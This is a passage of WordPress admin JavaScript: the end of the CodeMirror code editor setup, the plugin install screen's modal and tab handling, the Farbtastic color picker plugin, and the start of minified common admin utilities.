	function configureLinting( editor, settings ) { // eslint-disable-line complexity
		var currentErrorAnnotations = [], previouslyShownErrorAnnotations = [];

		/**
		 * Call the onUpdateErrorNotice if there are new errors to show.
		 *
		 * @return {void}
		 */
		function updateErrorNotice() {
			if ( settings.onUpdateErrorNotice && ! _.isEqual( currentErrorAnnotations, previouslyShownErrorAnnotations ) ) {
				settings.onUpdateErrorNotice( currentErrorAnnotations, editor );
				previouslyShownErrorAnnotations = currentErrorAnnotations;
			}
		}

		/**
		 * Get lint options.
		 *
		 * @return {Object} Lint options.
		 */
		function getLintOptions() { // eslint-disable-line complexity
			var options = editor.getOption( 'lint' );

			if ( ! options ) {
				return false;
			}

			if ( true === options ) {
				options = {};
			} else if ( _.isObject( options ) ) {
				options = $.extend( {}, options );
			}

			/*
			 * Note that rules must be sent in the "deprecated" lint.options property 
			 * to prevent linter from complaining about unrecognized options.
			 * See <https://github.com/codemirror/CodeMirror/pull/4944>.
			 */
			if ( ! options.options ) {
				options.options = {};
			}

			// Configure JSHint.
			if ( 'javascript' === settings.codemirror.mode && settings.jshint ) {
				$.extend( options.options, settings.jshint );
			}

			// Configure CSSLint.
			if ( 'css' === settings.codemirror.mode && settings.csslint ) {
				$.extend( options.options, settings.csslint );
			}

			// Configure HTMLHint.
			if ( 'htmlmixed' === settings.codemirror.mode && settings.htmlhint ) {
				options.options.rules = $.extend( {}, settings.htmlhint );

				if ( settings.jshint ) {
					options.options.rules.jshint = settings.jshint;
				}
				if ( settings.csslint ) {
					options.options.rules.csslint = settings.csslint;
				}
			}

			// Wrap the onUpdateLinting CodeMirror event to route to onChangeLintingErrors and onUpdateErrorNotice.
			options.onUpdateLinting = (function( onUpdateLintingOverridden ) {
				return function( annotations, annotationsSorted, cm ) {
					var errorAnnotations = _.filter( annotations, function( annotation ) {
						return 'error' === annotation.severity;
					} );

					if ( onUpdateLintingOverridden ) {
						onUpdateLintingOverridden.apply( annotations, annotationsSorted, cm );
					}

					// Skip if there are no changes to the errors.
					if ( _.isEqual( errorAnnotations, currentErrorAnnotations ) ) {
						return;
					}

					currentErrorAnnotations = errorAnnotations;

					if ( settings.onChangeLintingErrors ) {
						settings.onChangeLintingErrors( errorAnnotations, annotations, annotationsSorted, cm );
					}

					/*
					 * Update notifications when the editor is not focused to prevent error message
					 * from overwhelming the user during input, unless there are now no errors or there
					 * were previously errors shown. In these cases, update immediately so they can know
					 * that they fixed the errors.
					 */
					if ( ! editor.state.focused || 0 === currentErrorAnnotations.length || previouslyShownErrorAnnotations.length > 0 ) {
						updateErrorNotice();
					}
				};
			})( options.onUpdateLinting );

			return options;
		}

		editor.setOption( 'lint', getLintOptions() );

		// Keep lint options populated.
		editor.on( 'optionChange', function( cm, option ) {
			var options, gutters, gutterName = 'CodeMirror-lint-markers';
			if ( 'lint' !== option ) {
				return;
			}
			gutters = editor.getOption( 'gutters' ) || [];
			options = editor.getOption( 'lint' );
			if ( true === options ) {
				if ( ! _.contains( gutters, gutterName ) ) {
					editor.setOption( 'gutters', [ gutterName ].concat( gutters ) );
				}
				editor.setOption( 'lint', getLintOptions() ); // Expand to include linting options.
			} else if ( ! options ) {
				editor.setOption( 'gutters', _.without( gutters, gutterName ) );
			}

			// Force update on error notice to show or hide.
			if ( editor.getOption( 'lint' ) ) {
				editor.performLint();
			} else {
				currentErrorAnnotations = [];
				updateErrorNotice();
			}
		} );

		// Update error notice when leaving the editor.
		editor.on( 'blur', updateErrorNotice );

		// Work around hint selection with mouse causing focus to leave editor.
		editor.on( 'startCompletion', function() {
			editor.off( 'blur', updateErrorNotice );
		} );
		editor.on( 'endCompletion', function() {
			var editorRefocusWait = 500;
			editor.on( 'blur', updateErrorNotice );

			// Wait for editor to possibly get re-focused after selection.
			_.delay( function() {
				if ( ! editor.state.focused ) {
					updateErrorNotice();
				}
			}, editorRefocusWait );
		});

		/*
		 * Make sure setting validities are set if the user tries to click Publish
		 * while an autocomplete dropdown is still open. The Customizer will block
		 * saving when a setting has an error notifications on it. This is only
		 * necessary for mouse interactions because keyboards will have already
		 * blurred the field and cause onUpdateErrorNotice to have already been
		 * called.
		 */
		$( document.body ).on( 'mousedown', function( event ) {
			if ( editor.state.focused && ! $.contains( editor.display.wrapper, event.target ) && ! $( event.target ).hasClass( 'CodeMirror-hint' ) ) {
				updateErrorNotice();
			}
		});
	}

	/**
	 * Configure tabbing.
	 *
	 * @param {CodeMirror} codemirror - Editor.
	 * @param {Object}     settings - Code editor settings.
	 * @param {Object}     settings.codeMirror - Settings for CodeMirror.
	 * @param {Function}   settings.onTabNext - Callback to handle tabbing to the next tabbable element.
	 * @param {Function}   settings.onTabPrevious - Callback to handle tabbing to the previous tabbable element.
	 *
	 * @return {void}
	 */
	function configureTabbing( codemirror, settings ) {
		var $textarea = $( codemirror.getTextArea() );

		codemirror.on( 'blur', function() {
			$textarea.data( 'next-tab-blurs', false );
		});
		codemirror.on( 'keydown', function onKeydown( editor, event ) {
			var tabKeyCode = 9, escKeyCode = 27;

			// Take note of the ESC keypress so that the next TAB can focus outside the editor.
			if ( escKeyCode === event.keyCode ) {
				$textarea.data( 'next-tab-blurs', true );
				return;
			}

			// Short-circuit if tab key is not being pressed or the tab key press should move focus.
			if ( tabKeyCode !== event.keyCode || ! $textarea.data( 'next-tab-blurs' ) ) {
				return;
			}

			// Focus on previous or next focusable item.
			if ( event.shiftKey ) {
				settings.onTabPrevious( codemirror, event );
			} else {
				settings.onTabNext( codemirror, event );
			}

			// Reset tab state.
			$textarea.data( 'next-tab-blurs', false );

			// Prevent tab character from being added.
			event.preventDefault();
		});
	}

	/**
	 * @typedef {object} wp.codeEditor~CodeEditorInstance
	 * @property {object} settings - The code editor settings.
	 * @property {CodeMirror} codemirror - The CodeMirror instance.
	 */

	/**
	 * Initialize Code Editor (CodeMirror) for an existing textarea.
	 *
	 * @since 4.9.0
	 *
	 * @param {string|jQuery|Element} textarea - The HTML id, jQuery object, or DOM Element for the textarea that is used for the editor.
	 * @param {Object}                [settings] - Settings to override defaults.
	 * @param {Function}              [settings.onChangeLintingErrors] - Callback for when the linting errors have changed.
	 * @param {Function}              [settings.onUpdateErrorNotice] - Callback for when error notice should be displayed.
	 * @param {Function}              [settings.onTabPrevious] - Callback to handle tabbing to the previous tabbable element.
	 * @param {Function}              [settings.onTabNext] - Callback to handle tabbing to the next tabbable element.
	 * @param {Object}                [settings.codemirror] - Options for CodeMirror.
	 * @param {Object}                [settings.csslint] - Rules for CSSLint.
	 * @param {Object}                [settings.htmlhint] - Rules for HTMLHint.
	 * @param {Object}                [settings.jshint] - Rules for JSHint.
	 *
	 * @return {CodeEditorInstance} Instance.
	 */
	wp.codeEditor.initialize = function initialize( textarea, settings ) {
		var $textarea, codemirror, instanceSettings, instance;
		if ( 'string' === typeof textarea ) {
			$textarea = $( '#' + textarea );
		} else {
			$textarea = $( textarea );
		}

		instanceSettings = $.extend( {}, wp.codeEditor.defaultSettings, settings );
		instanceSettings.codemirror = $.extend( {}, instanceSettings.codemirror );

		codemirror = wp.CodeMirror.fromTextArea( $textarea[0], instanceSettings.codemirror );

		configureLinting( codemirror, instanceSettings );

		instance = {
			settings: instanceSettings,
			codemirror: codemirror
		};

		if ( codemirror.showHint ) {
			codemirror.on( 'keyup', function( editor, event ) { // eslint-disable-line complexity
				var shouldAutocomplete, isAlphaKey = /^[a-zA-Z]$/.test( event.key ), lineBeforeCursor, innerMode, token;
				if ( codemirror.state.completionActive && isAlphaKey ) {
					return;
				}

				// Prevent autocompletion in string literals or comments.
				token = codemirror.getTokenAt( codemirror.getCursor() );
				if ( 'string' === token.type || 'comment' === token.type ) {
					return;
				}

				innerMode = wp.CodeMirror.innerMode( codemirror.getMode(), token.state ).mode.name;
				lineBeforeCursor = codemirror.doc.getLine( codemirror.doc.getCursor().line ).substr( 0, codemirror.doc.getCursor().ch );
				if ( 'html' === innerMode || 'xml' === innerMode ) {
					shouldAutocomplete =
						'<' === event.key ||
						'/' === event.key && 'tag' === token.type ||
						isAlphaKey && 'tag' === token.type ||
						isAlphaKey && 'attribute' === token.type ||
						'=' === token.string && token.state.htmlState && token.state.htmlState.tagName;
				} else if ( 'css' === innerMode ) {
					shouldAutocomplete =
						isAlphaKey ||
						':' === event.key ||
						' ' === event.key && /:\s+$/.test( lineBeforeCursor );
				} else if ( 'javascript' === innerMode ) {
					shouldAutocomplete = isAlphaKey || '.' === event.key;
				} else if ( 'clike' === innerMode && 'php' === codemirror.options.mode ) {
					shouldAutocomplete = 'keyword' === token.type || 'variable' === token.type;
				}
				if ( shouldAutocomplete ) {
					codemirror.showHint( { completeSingle: false } );
				}
			});
		}

		// Facilitate tabbing out of the editor.
		configureTabbing( codemirror, settings );

		return instance;
	};

})( window.jQuery, window.wp );
/**
 * @file Functionality for the plugin install screens.
 *
 * @output wp-admin/js/plugin-install.js
 */

/* global tb_click, tb_remove, tb_position */

jQuery( function( $ ) {

	var tbWindow,
		$iframeBody,
		$tabbables,
		$firstTabbable,
		$lastTabbable,
		$focusedBefore = $(),
		$uploadViewToggle = $( '.upload-view-toggle' ),
		$wrap = $ ( '.wrap' ),
		$body = $( document.body );

	window.tb_position = function() {
		var width = $( window ).width(),
			H = $( window ).height() - ( ( 792 < width ) ? 60 : 20 ),
			W = ( 792 < width ) ? 772 : width - 20;

		tbWindow = $( '#TB_window' );

		if ( tbWindow.length ) {
			tbWindow.width( W ).height( H );
			$( '#TB_iframeContent' ).width( W ).height( H );
			tbWindow.css({
				'margin-left': '-' + parseInt( ( W / 2 ), 10 ) + 'px'
			});
			if ( typeof document.body.style.maxWidth !== 'undefined' ) {
				tbWindow.css({
					'top': '30px',
					'margin-top': '0'
				});
			}
		}

		return $( 'a.thickbox' ).each( function() {
			var href = $( this ).attr( 'href' );
			if ( ! href ) {
				return;
			}
			href = href.replace( /&width=[0-9]+/g, '' );
			href = href.replace( /&height=[0-9]+/g, '' );
			$(this).attr( 'href', href + '&width=' + W + '&height=' + ( H ) );
		});
	};

	$( window ).on( 'resize', function() {
		tb_position();
	});

	/*
	 * Custom events: when a Thickbox iframe has loaded and when the Thickbox
	 * modal gets removed from the DOM.
	 */
	$body
		.on( 'thickbox:iframe:loaded', tbWindow, function() {
			/*
			 * Return if it's not the modal with the plugin details iframe. Other
			 * thickbox instances might want to load an iframe with content from
			 * an external domain. Avoid to access the iframe contents when we're
			 * not sure the iframe loads from the same domain.
			 */
			if ( ! tbWindow.hasClass( 'plugin-details-modal' ) ) {
				return;
			}

			iframeLoaded();
		})
		.on( 'thickbox:removed', function() {
			// Set focus back to the element that opened the modal dialog.
			// Note: IE 8 would need this wrapped in a fake setTimeout `0`.
			$focusedBefore.trigger( 'focus' );
		});

	function iframeLoaded() {
		var $iframe = tbWindow.find( '#TB_iframeContent' );

		// Get the iframe body.
		$iframeBody = $iframe.contents().find( 'body' );

		// Get the tabbable elements and handle the keydown event on first load.
		handleTabbables();

		// Set initial focus on the "Close" button.
		$firstTabbable.trigger( 'focus' );

		/*
		 * When the "Install" button is disabled (e.g. the Plugin is already installed)
		 * then we can't predict where the last focusable element is. We need to get
		 * the tabbable elements and handle the keydown event again and again,
		 * each time the active tab panel changes.
		 */
		$( '#plugin-information-tabs a', $iframeBody ).on( 'click', function() {
			handleTabbables();
		});

		// Close the modal when pressing Escape.
		$iframeBody.on( 'keydown', function( event ) {
			if ( 27 !== event.which ) {
				return;
			}
			tb_remove();
		});
	}

	/*
	 * Get the tabbable elements and detach/attach the keydown event.
	 * Called after the iframe has fully loaded so we have all the elements we need.
	 * Called again each time a Tab gets clicked.
	 * @todo Consider to implement a WordPress general utility for this and don't use jQuery UI.
	 */
	function handleTabbables() {
		var $firstAndLast;
		// Get all the tabbable elements.
		$tabbables = $( ':tabbable', $iframeBody );
		// Our first tabbable element is always the "Close" button.
		$firstTabbable = tbWindow.find( '#TB_closeWindowButton' );
		// Get the last tabbable element.
		$lastTabbable = $tabbables.last();
		// Make a jQuery collection.
		$firstAndLast = $firstTabbable.add( $lastTabbable );
		// Detach any previously attached keydown event.
		$firstAndLast.off( 'keydown.wp-plugin-details' );
		// Attach again the keydown event on the first and last focusable elements.
		$firstAndLast.on( 'keydown.wp-plugin-details', function( event ) {
			constrainTabbing( event );
		});
	}

	// Constrain tabbing within the plugin modal dialog.
	function constrainTabbing( event ) {
		if ( 9 !== event.which ) {
			return;
		}

		if ( $lastTabbable[0] === event.target && ! event.shiftKey ) {
			event.preventDefault();
			$firstTabbable.trigger( 'focus' );
		} else if ( $firstTabbable[0] === event.target && event.shiftKey ) {
			event.preventDefault();
			$lastTabbable.trigger( 'focus' );
		}
	}

	/*
	 * Open the Plugin details modal. The event is delegated to get also the links
	 * in the plugins search tab, after the Ajax search rebuilds the HTML. It's
	 * delegated on the closest ancestor and not on the body to avoid conflicts
	 * with other handlers, see Trac ticket #43082.
	 */
	$( '.wrap' ).on( 'click', '.thickbox.open-plugin-details-modal', function( e ) {
		// The `data-title` attribute is used only in the Plugin screens.
		var title = $( this ).data( 'title' ) ?
			wp.i18n.sprintf(
				// translators: %s: Plugin name.
				wp.i18n.__( 'Plugin: %s' ),
				$( this ).data( 'title' )
			) :
			wp.i18n.__( 'Plugin details' );

		e.preventDefault();
		e.stopPropagation();

		// Store the element that has focus before opening the modal dialog, i.e. the control which opens it.
		$focusedBefore = $( this );

		tb_click.call(this);

		// Set ARIA role, ARIA label, and add a CSS class.
		tbWindow
			.attr({
				'role': 'dialog',
				'aria-label': wp.i18n.__( 'Plugin details' )
			})
			.addClass( 'plugin-details-modal' );

		// Set title attribute on the iframe.
		tbWindow.find( '#TB_iframeContent' ).attr( 'title', title );
	});

	/* Plugin install related JS */
	$( '#plugin-information-tabs a' ).on( 'click', function( event ) {
		var tab = $( this ).attr( 'name' );
		event.preventDefault();

		// Flip the tab.
		$( '#plugin-information-tabs a.current' ).removeClass( 'current' );
		$( this ).addClass( 'current' );

		// Only show the fyi box in the description section, on smaller screen,
		// where it's otherwise always displayed at the top.
		if ( 'description' !== tab && $( window ).width() < 772 ) {
			$( '#plugin-information-content' ).find( '.fyi' ).hide();
		} else {
			$( '#plugin-information-content' ).find( '.fyi' ).show();
		}

		// Flip the content.
		$( '#section-holder div.section' ).hide(); // Hide 'em all.
		$( '#section-' + tab ).show();
	});

	/*
	 * When a user presses the "Upload Plugin" button, show the upload form in place
	 * rather than sending them to the devoted upload plugin page.
	 * The `?tab=upload` page still exists for no-js support and for plugins that
	 * might access it directly. When we're in this page, let the link behave
	 * like a link. Otherwise we're in the normal plugin installer pages and the
	 * link should behave like a toggle button.
	 */
	if ( ! $wrap.hasClass( 'plugin-install-tab-upload' ) ) {
		$uploadViewToggle
			.attr({
				role: 'button',
				'aria-expanded': 'false'
			})
			.on( 'click', function( event ) {
				event.preventDefault();
				$body.toggleClass( 'show-upload-view' );
				$uploadViewToggle.attr( 'aria-expanded', $body.hasClass( 'show-upload-view' ) );
			});
	}
});
/*!
 * Farbtastic: jQuery color picker plug-in v1.3u
 * https://github.com/mattfarina/farbtastic
 *
 * Licensed under the GPL license:
 *   http://www.gnu.org/licenses/gpl.html
 */
/**
 * Modified for WordPress: replaced deprecated jQuery methods.
 * See https://core.trac.wordpress.org/ticket/57946.
 */

(function($) {

$.fn.farbtastic = function (options) {
  $.farbtastic(this, options);
  return this;
};

$.farbtastic = function (container, callback) {
  var container = $(container).get(0);
  return container.farbtastic || (container.farbtastic = new $._farbtastic(container, callback));
};

$._farbtastic = function (container, callback) {
  // Store farbtastic object
  var fb = this;

  // Insert markup
  $(container).html('<div class="farbtastic"><div class="color"></div><div class="wheel"></div><div class="overlay"></div><div class="h-marker marker"></div><div class="sl-marker marker"></div></div>');
  var e = $('.farbtastic', container);
  fb.wheel = $('.wheel', container).get(0);
  // Dimensions
  fb.radius = 84;
  fb.square = 100;
  fb.width = 194;

  // Fix background PNGs in IE6
  if (navigator.appVersion.match(/MSIE [0-6]\./)) {
    $('*', e).each(function () {
      if (this.currentStyle.backgroundImage != 'none') {
        var image = this.currentStyle.backgroundImage;
        image = this.currentStyle.backgroundImage.substring(5, image.length - 2);
        $(this).css({
          'backgroundImage': 'none',
          'filter': "progid:DXImageTransform.Microsoft.AlphaImageLoader(enabled=true, sizingMethod=crop, src='" + image + "')"
        });
      }
    });
  }

  /**
   * Link to the given element(s) or callback.
   */
  fb.linkTo = function (callback) {
    // Unbind previous nodes
    if (typeof fb.callback == 'object') {
      $(fb.callback).off('keyup', fb.updateValue);
    }

    // Reset color
    fb.color = null;

    // Bind callback or elements
    if (typeof callback == 'function') {
      fb.callback = callback;
    }
    else if (typeof callback == 'object' || typeof callback == 'string') {
      fb.callback = $(callback);
      fb.callback.on('keyup', fb.updateValue);
      if (fb.callback.get(0).value) {
        fb.setColor(fb.callback.get(0).value);
      }
    }
    return this;
  };
  fb.updateValue = function (event) {
    if (this.value && this.value != fb.color) {
      fb.setColor(this.value);
    }
  };

  /**
   * Change color with HTML syntax #123456
   */
  fb.setColor = function (color) {
    var unpack = fb.unpack(color);
    if (fb.color != color && unpack) {
      fb.color = color;
      fb.rgb = unpack;
      fb.hsl = fb.RGBToHSL(fb.rgb);
      fb.updateDisplay();
    }
    return this;
  };

  /**
   * Change color with HSL triplet [0..1, 0..1, 0..1]
   */
  fb.setHSL = function (hsl) {
    fb.hsl = hsl;
    fb.rgb = fb.HSLToRGB(hsl);
    fb.color = fb.pack(fb.rgb);
    fb.updateDisplay();
    return this;
  };

  /////////////////////////////////////////////////////

  /**
   * Retrieve the coordinates of the given event relative to the center
   * of the widget.
   */
  fb.widgetCoords = function (event) {
    var offset = $(fb.wheel).offset();
    return { x: (event.pageX - offset.left) - fb.width / 2, y: (event.pageY - offset.top) - fb.width / 2 };
  };

  /**
   * Mousedown handler
   */
  fb.mousedown = function (event) {
    // Capture mouse
    if (!document.dragging) {
      $(document).on('mousemove', fb.mousemove).on('mouseup', fb.mouseup);
      document.dragging = true;
    }

    // Check which area is being dragged
    var pos = fb.widgetCoords(event);
    fb.circleDrag = Math.max(Math.abs(pos.x), Math.abs(pos.y)) * 2 > fb.square;

    // Process
    fb.mousemove(event);
    return false;
  };

  /**
   * Mousemove handler
   */
  fb.mousemove = function (event) {
    // Get coordinates relative to color picker center
    var pos = fb.widgetCoords(event);

    // Set new HSL parameters
    if (fb.circleDrag) {
      var hue = Math.atan2(pos.x, -pos.y) / 6.28;
      if (hue < 0) hue += 1;
      fb.setHSL([hue, fb.hsl[1], fb.hsl[2]]);
    }
    else {
      var sat = Math.max(0, Math.min(1, -(pos.x / fb.square) + .5));
      var lum = Math.max(0, Math.min(1, -(pos.y / fb.square) + .5));
      fb.setHSL([fb.hsl[0], sat, lum]);
    }
    return false;
  };

  /**
   * Mouseup handler
   */
  fb.mouseup = function () {
    // Uncapture mouse
    $(document).off('mousemove', fb.mousemove);
    $(document).off('mouseup', fb.mouseup);
    document.dragging = false;
  };

  /**
   * Update the markers and styles
   */
  fb.updateDisplay = function () {
    // Markers
    var angle = fb.hsl[0] * 6.28;
    $('.h-marker', e).css({
      left: Math.round(Math.sin(angle) * fb.radius + fb.width / 2) + 'px',
      top: Math.round(-Math.cos(angle) * fb.radius + fb.width / 2) + 'px'
    });

    $('.sl-marker', e).css({
      left: Math.round(fb.square * (.5 - fb.hsl[1]) + fb.width / 2) + 'px',
      top: Math.round(fb.square * (.5 - fb.hsl[2]) + fb.width / 2) + 'px'
    });

    // Saturation/Luminance gradient
    $('.color', e).css('backgroundColor', fb.pack(fb.HSLToRGB([fb.hsl[0], 1, 0.5])));

    // Linked elements or callback
    if (typeof fb.callback == 'object') {
      // Set background/foreground color
      $(fb.callback).css({
        backgroundColor: fb.color,
        color: fb.hsl[2] > 0.5 ? '#000' : '#fff'
      });

      // Change linked value
      $(fb.callback).each(function() {
        if (this.value && this.value != fb.color) {
          this.value = fb.color;
        }
      });
    }
    else if (typeof fb.callback == 'function') {
      fb.callback.call(fb, fb.color);
    }
  };

  /* Various color utility functions */
  fb.pack = function (rgb) {
    var r = Math.round(rgb[0] * 255);
    var g = Math.round(rgb[1] * 255);
    var b = Math.round(rgb[2] * 255);
    return '#' + (r < 16 ? '0' : '') + r.toString(16) +
           (g < 16 ? '0' : '') + g.toString(16) +
           (b < 16 ? '0' : '') + b.toString(16);
  };

  fb.unpack = function (color) {
    if (color.length == 7) {
      return [parseInt('0x' + color.substring(1, 3)) / 255,
        parseInt('0x' + color.substring(3, 5)) / 255,
        parseInt('0x' + color.substring(5, 7)) / 255];
    }
    else if (color.length == 4) {
      return [parseInt('0x' + color.substring(1, 2)) / 15,
        parseInt('0x' + color.substring(2, 3)) / 15,
        parseInt('0x' + color.substring(3, 4)) / 15];
    }
  };

  fb.HSLToRGB = function (hsl) {
    var m1, m2, r, g, b;
    var h = hsl[0], s = hsl[1], l = hsl[2];
    m2 = (l <= 0.5) ? l * (s + 1) : l + s - l*s;
    m1 = l * 2 - m2;
    return [this.hueToRGB(m1, m2, h+0.33333),
        this.hueToRGB(m1, m2, h),
        this.hueToRGB(m1, m2, h-0.33333)];
  };

  fb.hueToRGB = function (m1, m2, h) {
    h = (h < 0) ? h + 1 : ((h > 1) ? h - 1 : h);
    if (h * 6 < 1) return m1 + (m2 - m1) * h * 6;
    if (h * 2 < 1) return m2;
    if (h * 3 < 2) return m1 + (m2 - m1) * (0.66666 - h) * 6;
    return m1;
  };

  fb.RGBToHSL = function (rgb) {
    var min, max, delta, h, s, l;
    var r = rgb[0], g = rgb[1], b = rgb[2];
    min = Math.min(r, Math.min(g, b));
    max = Math.max(r, Math.max(g, b));
    delta = max - min;
    l = (min + max) / 2;
    s = 0;
    if (l > 0 && l < 1) {
      s = delta / (l < 0.5 ? (2 * l) : (2 - 2 * l));
    }
    h = 0;
    if (delta > 0) {
      if (max == r && max != g) h += (g - b) / delta;
      if (max == g && max != b) h += (2 + (b - r) / delta);
      if (max == b && max != r) h += (4 + (r - g) / delta);
      h /= 6;
    }
    return [h, s, l];
  };

  // Install mousedown handler (the others are set on the document on-demand)
  $('*', e).on('mousedown', fb.mousedown);

    // Init color
  fb.setColor('#000000');

  // Set linked elements/callback
  if (callback) {
    fb.linkTo(callback);
  }
};

})(jQuery);/*! This file is auto-generated */
!function(W,$){var Q=W(document),V=W($),q=W(document.body),H=wp.i18n.__,i=wp.i18n.sprintf;function r(e,t,n){n=void 0!==n?i(H("%1$s is deprecated since version %2$s! Use %3$s instead."),e,t,n):i(H("%1$s is deprecated since version %2$s with no alternative available."),e,t);$.console.warn(n)}function e(i,o,a){var s={};return Object.keys(o).forEach(function(e){var t=o[e],n=i+"."+e;"object"==typeof t?Object.defineProperty(s,e,{get:function(){return r(n,a,t.alternative),t.func()}}):Object.defineProperty(s,e,{get:function(){return r(n,a,"wp.i18n"),t}})}),s}$.wp.deprecateL10nObject=e,$.commonL10n=$.commonL10n||{warnDelete:"",dismiss:"",collapseMenu:"",expandMenu:""},$.commonL10n=e("commonL10n",$.commonL10n,"5.5.0"),$.wpPointerL10n=$.wpPointerL10n||{dismiss:""},$.wpPointerL10n=e("wpPointerL10n",$.wpPointerL10n,"5.5.0"),$.userProfileL10n=$.userProfileL10n||{warn:"",warnWeak:"",show:"",hide:"",cancel:"",ariaShow:"",ariaHide:""},$.userProfileL10n=e("userProfileL10n",$.userProfileL10n,"5.5.0"),$.privacyToolsL10n=$.privacyToolsL10n||{noDataFound:"",foundAndRemoved:"",noneRemoved:"",someNotRemoved:"",removalError:"",emailSent:"",noExportFile:"",exportError:""},$.privacyToolsL10n=e("privacyToolsL10n",$.privacyToolsL10n,"5.5.0"),$.authcheckL10n={beforeunload:""},$.authcheckL10n=$.authcheckL10n||e("authcheckL10n",$.authcheckL10n,"5.5.0"),$.tagsl10n={noPerm:"",broken:""},$.tagsl10n=$.tagsl10n||e("tagsl10n",$.tagsl10n,"5.5.0"),$.adminCommentsL10n=$.adminCommentsL10n||{hotkeys_highlight_first:{alternative:"window.adminCommentsSettings.hotkeys_highlight_first",func:function(){return $.adminCommentsSettings.hotkeys_highlight_first}},hotkeys_highlight_last:{alternative:"window.adminCommentsSettings.hotkeys_highlight_last",func:function(){return $.adminCommentsSettings.hotkeys_highlight_last}},replyApprove:"",reply:"",warnQuickEdit:"",warnCommentChanges:"",docTitleComments:"",docTitleCommentsCount:""},$.adminCommentsL10n=e("adminCommentsL10n",$.adminCommentsL10n,"5.5.0"),$.tagsSuggestL10n=$.tagsSuggestL10n||{tagDelimiter:"",removeTerm:"",termSelected:"",termAdded:"",termRemoved:""},$.tagsSuggestL10n=e("tagsSuggestL10n",$.tagsSuggestL10n,"5.5.0"),$.wpColorPickerL10n=$.wpColorPickerL10n||{clear:"",clearAriaLabel:"",defaultString:"",defaultAriaLabel:"",pick:"",defaultLabel:""},$.wpColorPickerL10n=e("wpColorPickerL10n",$.wpColorPickerL10n,"5.5.0"),$.attachMediaBoxL10n=$.attachMediaBoxL10n||{error:""},$.attachMediaBoxL10n=e("attachMediaBoxL10n",$.attachMediaBoxL10n,"5.5.0"),$.postL10n=$.postL10n||{ok:"",cancel:"",publishOn:"",publishOnFuture:"",publishOnPast:"",dateFormat:"",showcomm:"",endcomm:"",publish:"",schedule:"",update:"",savePending:"",saveDraft:"",private:"",public:"",publicSticky:"",password:"",privatelyPublished:"",published:"",saveAlert:"",savingText:"",permalinkSaved:""},$.postL10n=e("postL10n",$.postL10n,"5.5.0"),$.inlineEditL10n=$.inlineEditL10n||{error:"",ntdeltitle:"",notitle:"",comma:"",saved:""},$.inlineEditL10n=e("inlineEditL10n",$.inlineEditL10n,"5.5.0"),$.plugininstallL10n=$.plugininstallL10n||{plugin_information:"",plugin_modal_label:"",ays:""},$.plugininstallL10n=e("plugininstallL10n",$.plugininstallL10n,"5.5.0"),$.navMenuL10n=$.navMenuL10n||{noResultsFound:"",warnDeleteMenu:"",saveAlert:"",untitled:""},$.navMenuL10n=e("navMenuL10n",$.navMenuL10n,"5.5.0"),$.commentL10n=$.commentL10n||{submittedOn:"",dateFormat:""},$.commentL10n=e("commentL10n",$.commentL10n,"5.5.0"),$.setPostThumbnailL10n=$.setPostThumbnailL10n||{setThumbnail:"",saving:"",error:"",done:""},$.setPostThumbnailL10n=e("setPostThumbnailL10n",$.setPostThumbnailL10n,"5.5.0"),$.uiAutocompleteL10n=$.uiAutocompleteL10n||{noResults:"",oneResult:"",manyResults:"",itemSelected:""},$.uiAutocompleteL10n=e("uiAutocompleteL10n",$.uiAutocompleteL10n,"6.5.0"),$.adminMenu={init:function(){},fold:function(){},restoreMenuState:function(){},toggle:function(){},favorites:function(){}},$.columns={init:function(){var n=this;W(".hide-column-tog","#adv-settings").on("click",function(){var e=W(this),t=e.val();e.prop("checked")?n.checked(t):n.unchecked(t),columns.saveManageColumnsState()})},saveManageColumnsState:function(){var e=this.hidden();W.post(ajaxurl,{action:"hidden-columns",hidden:e,screenoptionnonce:W("#screenoptionnonce").val(),page:pagenow})},checked:function(e){W(".column-"+e).removeClass("hidden"),this.colSpanChange(1)},unchecked:function(e){W(".column-"+e).addClass("hidden"),this.colSpanChange(-1)},hidden:function(){return W(".manage-column[id]").filter(".hidden").map(function(){return this.id}).get().join(",")},useCheckboxesForHidden:function(){this.hidden=function(){return W(".hide-column-tog").not(":checked").map(function(){var e=this.id;return e.substring(e,e.length-5)}).get().join(",")}},colSpanChange:function(e){var t=W("table").find(".colspanchange");t.length&&(e=parseInt(t.attr("colspan"),10)+e,t.attr("colspan",e.toString()))}},W(function(){columns.init()}),$.validateForm=function(e){return!W(e).find(".form-required").filter(function(){return""===W(":input:visible",this).val()}).addClass("form-invalid").find(":input:visible").on("change",function(){W(this).closest(".form-invalid").removeClass("form-invalid")}).length},$.showNotice={warn:function(){return!!confirm(H("You are about to permanently delete these items from your site.\nThis action cannot be undone.\n'Cancel' to stop, 'OK' to delete."))},note:function(e){alert(e)}},$.screenMeta={element:null,toggles:null,page:null,init:function(){this.element=W("#screen-meta"),this.toggles=W("#screen-meta-links").find(".show-settings"),this.page=W("#wpcontent"),this.toggles.on("click",this.toggleEvent)},toggleEvent:function(){var e=W("#"+W(this).attr("aria-controls"));e.length&&(e.is(":visible")?screenMeta.close(e,W(this)):screenMeta.open(e,W(this)))},open:function(e,t){W("#screen-meta-links").find(".screen-meta-toggle").not(t.parent()).css("visibility","hidden"),e.parent().show(),e.slideDown("fast",function(){e.removeClass("hidden").trigger("focus"),t.addClass("screen-meta-active").attr("aria-expanded",!0)}),Q.trigger("screen:options:open")},close:function(e,t){e.slideUp("fast",function(){t.removeClass("screen-meta-active").attr("aria-expanded",!1),W(".screen-meta-toggle").css("visibility",""),e.parent().hide(),e.addClass("hidden")}),Q.trigger("screen:options:close")}},W(".contextual-help-tabs").on("click","a",function(e){var t=W(this);if(e.preventDefault(),t.is(".active a"))return!1;W(".contextual-help-tabs .active").removeClass("active"),t.parent("li").addClass("active"),e=W(t.attr("href")),W(".help-tab-content").not(e).removeClass("active").hide(),e.addClass("active").show()});var t,a=!1,s=W("#permalink_structure"),n=W(".permalink-structure input:radio"),l=W("#custom_selection"),o=W(".form-table.permalink-structure .available-structure-tags button");function c(e){-1!==s.val().indexOf(e.text().trim())?(e.attr("data-label",e.attr("aria-label")),e.attr("aria-label",e.attr("data-used")),e.attr("aria-pressed",!0),e.addClass("active")):e.attr("data-label")&&(e.attr("aria-label",e.attr("data-label")),e.attr("aria-pressed",!1),e.removeClass("active"))}function d(){Q.trigger("wp-window-resized")}n.on("change",function(){"custom"!==this.value&&(s.val(this.value),o.each(function(){c(W(this))}))}),s.on("click 